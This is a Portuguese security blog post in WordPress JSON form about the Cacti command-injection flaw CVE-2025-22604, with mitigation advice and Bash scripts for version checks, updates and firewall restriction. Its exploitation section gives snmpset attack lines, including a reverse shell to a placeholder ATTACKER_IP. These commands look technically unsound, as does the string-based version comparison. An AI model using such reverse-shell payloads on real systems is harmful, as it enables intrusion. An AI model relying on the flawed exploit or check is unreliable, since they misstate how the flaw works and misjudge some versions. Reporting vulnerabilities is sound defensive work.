{"id":21643,"date":"2025-01-31T12:16:50","date_gmt":"2025-01-31T15:16:50","guid":{"rendered":"https:\/\/www.ethicalhacker.com.br\/site\/?p=21643"},"modified":"2025-01-31T12:16:51","modified_gmt":"2025-01-31T15:16:51","slug":"vulnerabilidade-no-cacti-permite-execucao-remota-de-codigo","status":"publish","type":"post","link":"https:\/\/www.ethicalhacker.com.br\/site\/2025\/01\/exploits\/vulnerabilidade-no-cacti-permite-execucao-remota-de-codigo\/","title":{"rendered":"Vulnerabilidade no Cacti  permite execu\u00e7\u00e3o remota de c\u00f3digo"},"content":{"rendered":"\n<p><strong>Vulnerabilidade cr\u00edtica no Cacti (CVE-2025-22604) permite execu\u00e7\u00e3o remota de c\u00f3digo<\/strong><\/p>\n<p style=\"text-align: justify;\">Uma vulnerabilidade cr\u00edtica foi descoberta no Cacti, um framework de c\u00f3digo aberto para monitoramento de rede e gerenciamento de falhas, que pode permitir que um atacante autenticado execute c\u00f3digo remotamente em inst\u00e2ncias vulner\u00e1veis. A falha, registrada como\u00a0<strong>CVE-2025-22604<\/strong>, possui uma pontua\u00e7\u00e3o CVSS de\u00a0<strong>9.1<\/strong>\u00a0(em uma escala de 0 a 10), indicando um alto n\u00edvel de gravidade.<\/p>\n<p>\u00a0<\/p>\n<p><strong>Detalhes da vulnerabilidade<\/strong><\/p>\n<p style=\"text-align: justify;\">De acordo com os mantenedores do projeto, a vulnerabilidade reside no\u00a0parser de resultados SNMP de m\u00faltiplas linhas. Usu\u00e1rios autenticados podem injetar\u00a0OIDs malformados\u00a0na resposta SNMP. Quando processados pelas fun\u00e7\u00f5es\u00a0<strong><code>ss_net_snmp_disk_io()<\/code><\/strong>\u00a0ou\u00a0<strong><code>ss_net_snmp_disk_bytes()<\/code><\/strong>, parte do OID \u00e9 usada como chave em um array que, por sua vez, \u00e9 utilizado como parte de um comando do sistema. Isso resulta em uma\u00a0vulnerabilidade de execu\u00e7\u00e3o de comandos.<\/p>\n<p style=\"text-align: justify;\">A explora\u00e7\u00e3o bem-sucedida dessa falha pode permitir que um usu\u00e1rio autenticado com permiss\u00f5es de gerenciamento de dispositivos execute\u00a0c\u00f3digo arbitr\u00e1rio\u00a0no servidor, possibilitando a\u00a0exfiltra\u00e7\u00e3o, edi\u00e7\u00e3o ou exclus\u00e3o de dados sens\u00edveis.<\/p>\n<p>\u00a0<\/p>\n<p><strong>Vers\u00f5es afetadas<\/strong><\/p>\n<p style=\"text-align: justify;\">A vulnerabilidade\u00a0<strong>CVE-2025-22604<\/strong>\u00a0afeta todas as vers\u00f5es do Cacti\u00a0<strong>anteriores e incluindo a 1.2.28<\/strong>. A corre\u00e7\u00e3o foi implementada na vers\u00e3o\u00a0<strong>1.2.29<\/strong>, lan\u00e7ada recentemente. O pesquisador de seguran\u00e7a conhecido pelo pseud\u00f4nimo\u00a0<strong>u32i<\/strong>\u00a0foi creditado pela descoberta e reporte da falha.<\/p>\n<p>\u00a0<\/p>\n<p><strong>Outra vulnerabilidade corrigida<\/strong><\/p>\n<p style=\"text-align: justify;\">Al\u00e9m do CVE-2025-22604, a vers\u00e3o 1.2.29 tamb\u00e9m corrige outra vulnerabilidade cr\u00edtica, registrada como\u00a0<strong>CVE-2025-24367<\/strong>\u00a0(CVSS 7.2). Essa falha permite que um atacante autenticado crie\u00a0scripts PHP arbitr\u00e1rios\u00a0no diret\u00f3rio raiz da aplica\u00e7\u00e3o, abusando da funcionalidade de cria\u00e7\u00e3o de gr\u00e1ficos e templates de gr\u00e1ficos. Isso pode levar \u00e0\u00a0execu\u00e7\u00e3o remota de c\u00f3digo.<\/p>\n<p>\u00a0<\/p>\n<p data-pm-slice=\"1 1 []\"><strong>Exemplo de explora\u00e7\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\">Abaixo, alguns exemplos de como um invasor pode explorar a vulnerabilidade para executar comandos arbitr\u00e1rios:<\/p>\n<p>\u00a0<\/p>\n<p><strong>1. Explorando a inje\u00e7\u00e3o de OID malformado<\/strong><\/p>\n<pre><code><strong>snmpset -v2c -c public TARGET_HOST \\\n1.3.6.1.4.1.2025.1.1.1.1.1 s \"$(id &gt; \/tmp\/pwned)\"<\/strong><br \/><\/code><\/pre>\n<p style=\"text-align: justify;\">Esse comando tenta injetar um OID malformado que executa <code>id &gt; \/tmp\/pwned<\/code> no servidor vulner\u00e1vel, criando um arquivo contendo as informa\u00e7\u00f5es do usu\u00e1rio que executou o comando.<\/p>\n<p>\u00a0<\/p>\n<p><strong>2. Criando um Shell remoto<\/strong><\/p>\n<p>Se o servidor for vulner\u00e1vel, \u00e9 poss\u00edvel executar um shell reverso para ganhar acesso remoto:<\/p>\n<pre><code><strong>snmpset -v2c -c public TARGET_HOST \\\n1.3.6.1.4.1.2025.1.1.1.1.1 s \"$(bash -i &gt;&amp; \/dev\/tcp\/ATTACKER_IP\/4444 0&gt;&amp;1)\"<\/strong><br \/><\/code><\/pre>\n<p style=\"text-align: justify;\">Este comando faz com que o servidor estabele\u00e7a uma conex\u00e3o reversa para a m\u00e1quina do atacante na porta 4444, permitindo execu\u00e7\u00e3o remota de comandos.<\/p>\n<p>\u00a0<\/p>\n<p><strong>Recomenda\u00e7\u00f5es de seguran\u00e7a<\/strong><\/p>\n<p style=\"text-align: justify;\">Considerando que vulnerabilidades no Cacti j\u00e1 foram\u00a0exploradas ativamente\u00a0no passado, organiza\u00e7\u00f5es que dependem do software para monitoramento de rede devem\u00a0priorizar a aplica\u00e7\u00e3o dos patches\u00a0necess\u00e1rios para mitigar os riscos de comprometimento.<\/p>\n<p>\u00a0<\/p>\n<p data-pm-slice=\"1 3 []\">Para mitigar essa vulnerabilidade, \u00e9 altamente recomend\u00e1vel:<\/p>\n<ul data-spread=\"false\">\n<li>\n<p>Atualizar o Cacti para a vers\u00e3o 1.2.29 imediatamente.<\/p>\n<\/li>\n<li>\n<p>Restringir o acesso SNMP apenas a fontes confi\u00e1veis.<\/p>\n<\/li>\n<li>\n<p>Monitorar logs para identificar tentativas de explora\u00e7\u00e3o.<\/p>\n<\/li>\n<li>\n<p>Aplicar regras de firewall para bloquear acessos indevidos.<\/p>\n<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p style=\"text-align: justify;\">A seguir, apresentamos exemplos de scripts que podem ser utilizados para verificar e corrigir a vulnerabilidade em sistemas operacionais que possuem o Rocky Linux 9, onde o Cacti pode estar em execu\u00e7\u00e3o.<\/p>\n<p>\u00a0<\/p>\n<p><strong>Exemplo 1: verifica\u00e7\u00e3o da vers\u00e3o do Cacti<\/strong><\/p>\n<p>O script abaixo verifica a vers\u00e3o do Cacti instalada no sistema:<\/p>\n<p>\u00a0<\/p>\n<p><strong>#!\/bin\/bash<\/strong><\/p>\n<p><strong># Verifica a vers\u00e3o do Cacti instalada<\/strong><br \/><strong>CACTI_VERSION=$(rpm -q cacti &#8211;queryformat &#8216;%{VERSION}&#8217;)<\/strong><\/p>\n<p><strong>if [[ -z &#8220;$CACTI_VERSION&#8221; ]]; then<\/strong><br \/><strong>\u00a0 \u00a0 \u00a0 echo &#8220;Cacti n\u00e3o est\u00e1 instalado no sistema.&#8221;<\/strong><br \/><strong>\u00a0 \u00a0 \u00a0 exit 1<\/strong><br \/><strong>fi<\/strong><\/p>\n<p><strong>echo &#8220;Vers\u00e3o do Cacti instalada: $CACTI_VERSION&#8221;<\/strong><\/p>\n<p><strong># Verifica se a vers\u00e3o \u00e9 vulner\u00e1vel<\/strong><br \/><strong>if [[ &#8220;$CACTI_VERSION&#8221; &lt; &#8220;1.2.29&#8221; ]]; then<\/strong><br \/><strong>\u00a0 \u00a0 \u00a0echo &#8220;ATEN\u00c7\u00c3O: A vers\u00e3o do Cacti \u00e9 vulner\u00e1vel ao CVE-2025-22604.&#8221;<\/strong><br \/><strong>\u00a0 \u00a0 \u00a0echo &#8220;Recomenda-se atualizar para a vers\u00e3o 1.2.29 ou superior.&#8221;<\/strong><br \/><strong>else<\/strong><br \/><strong>\u00a0 \u00a0 \u00a0echo &#8220;A vers\u00e3o do Cacti est\u00e1 atualizada e n\u00e3o \u00e9 vulner\u00e1vel.&#8221;<\/strong><br \/><strong>fi<\/strong><\/p>\n<p>\u00a0<\/p>\n<p><strong>Exemplo 2: atualiza\u00e7\u00e3o do Cacti para a vers\u00e3o corrigida<\/strong><\/p>\n<p>O script abaixo atualiza o Cacti para a vers\u00e3o mais recente (1.2.29 ou superior) em sistemas Rocky Linux 9:<\/p>\n<p>\u00a0<\/p>\n<p><strong>#!\/bin\/bash<\/strong><\/p>\n<p><strong># Atualiza o sistema e instala a vers\u00e3o mais recente do Cacti<\/strong><br \/><strong>echo &#8220;Atualizando o sistema e instalando a vers\u00e3o mais recente do Cacti&#8230;&#8221;<\/strong><br \/><strong>sudo dnf update -y<\/strong><br \/><strong>sudo dnf install cacti -y<\/strong><\/p>\n<p><strong># Reinicia o servi\u00e7o do Cacti<\/strong><br \/><strong>echo &#8220;Reiniciando o servi\u00e7o do Cacti&#8230;&#8221;<\/strong><br \/><strong>sudo systemctl restart httpd<\/strong><br \/><strong>sudo systemctl restart cacti<\/strong><\/p>\n<p><strong># Verifica a vers\u00e3o instalada ap\u00f3s a atualiza\u00e7\u00e3o<\/strong><br \/><strong>CACTI_VERSION=$(rpm -q cacti &#8211;queryformat &#8216;%{VERSION}&#8217;)<\/strong><br \/><strong>echo &#8220;Cacti atualizado para a vers\u00e3o: $CACTI_VERSION&#8221;<\/strong><\/p>\n<p>\u00a0<\/p>\n<p><strong>Exemplo 3: mitiga\u00e7\u00e3o tempor\u00e1ria (Restri\u00e7\u00e3o de Acesso)<\/strong><\/p>\n<p style=\"text-align: justify;\">Se a atualiza\u00e7\u00e3o imediata n\u00e3o for poss\u00edvel, uma mitiga\u00e7\u00e3o tempor\u00e1ria pode ser aplicada restringindo o acesso ao Cacti apenas a IPs confi\u00e1veis. O script abaixo configura o\u00a0<strong>firewalld<\/strong>\u00a0para permitir acesso apenas a um IP espec\u00edfico:<\/p>\n<p>\u00a0<\/p>\n<p><strong>#!\/bin\/bash<\/strong><\/p>\n<p><strong># Define o IP confi\u00e1vel<\/strong><br \/><strong>TRUSTED_IP=&#8221;192.168.1.100&#8243;<\/strong><\/p>\n<p><strong># Configura o firewalld para permitir acesso apenas ao IP confi\u00e1vel<\/strong><br \/><strong>echo &#8220;Configurando o firewalld para restringir o acesso ao Cacti&#8230;&#8221;<\/strong><br \/><strong>sudo firewall-cmd &#8211;permanent &#8211;remove-service=http<\/strong><br \/><strong>sudo firewall-cmd &#8211;permanent &#8211;remove-service=https<\/strong><br \/><strong>sudo firewall-cmd &#8211;permanent &#8211;add-rich-rule=&#8221;rule family=&#8217;ipv4&#8242; source address=&#8217;$TRUSTED_IP&#8217; service name=&#8217;http&#8217; accept&#8221;<\/strong><br \/><strong>sudo firewall-cmd &#8211;permanent &#8211;add-rich-rule=&#8221;rule family=&#8217;ipv4&#8242; source address=&#8217;$TRUSTED_IP&#8217; service name=&#8217;https&#8217; accept&#8221;<\/strong><br \/><strong>sudo firewall-cmd &#8211;reload<\/strong><\/p>\n<p><strong>echo &#8220;Acesso ao Cacti restrito ao IP: $TRUSTED_IP&#8221;<\/strong><\/p>\n<p>\u00a0<\/p>\n<p><strong>Conclus\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\">A vulnerabilidade\u00a0<strong>CVE-2025-22604<\/strong>\u00a0no Cacti representa um risco significativo para organiza\u00e7\u00f5es que utilizam o software para monitoramento de rede. A aplica\u00e7\u00e3o imediata dos patches e a ado\u00e7\u00e3o de medidas de mitiga\u00e7\u00e3o s\u00e3o essenciais para proteger os sistemas contra poss\u00edveis explora\u00e7\u00f5es. Utilize os scripts fornecidos para verificar, atualizar e mitigar a vulnerabilidade em seu ambiente.<\/p>\n<p style=\"text-align: justify;\">Mantenha-se sempre atualizado com as \u00faltimas corre\u00e7\u00f5es de seguran\u00e7a e boas pr\u00e1ticas para garantir a prote\u00e7\u00e3o de sua infraestrutura de rede.<\/p>\n<p>\u00a0<\/p>\n<p>Fonte e imagens: <a href=\"https:\/\/thehackernews.com\/2025\/01\/critical-cacti-security-flaw-cve-2025.html\" target=\"_blank\" rel=\"noopener\">https:\/\/thehackernews.com\/2025\/01\/critical-cacti-security-flaw-cve-2025.html<\/a><\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n\n\n","protected":false},"excerpt":{"rendered":"<p>Vulnerabilidade cr\u00edtica no Cacti (CVE-2025-22604) permite execu\u00e7\u00e3o remota de c\u00f3digo Uma vulnerabilidade cr\u00edtica foi descoberta no Cacti, um framework de c\u00f3digo aberto para monitoramento de rede e gerenciamento de falhas, que pode permitir que um atacante autenticado execute c\u00f3digo remotamente em inst\u00e2ncias vulner\u00e1veis. A falha, registrada como\u00a0CVE-2025-22604, possui uma pontua\u00e7\u00e3o CVSS de\u00a09.1\u00a0(em uma escala de [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":21648,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[89,100,21,105],"tags":[],"class_list":["post-21643","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-basico","category-diversos","category-exploits","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/21643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/comments?post=21643"}],"version-history":[{"count":6,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/21643\/revisions"}],"predecessor-version":[{"id":21650,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/posts\/21643\/revisions\/21650"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media\/21648"}],"wp:attachment":[{"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/media?parent=21643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/categories?post=21643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ethicalhacker.com.br\/site\/wp-json\/wp\/v2\/tags?post=21643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}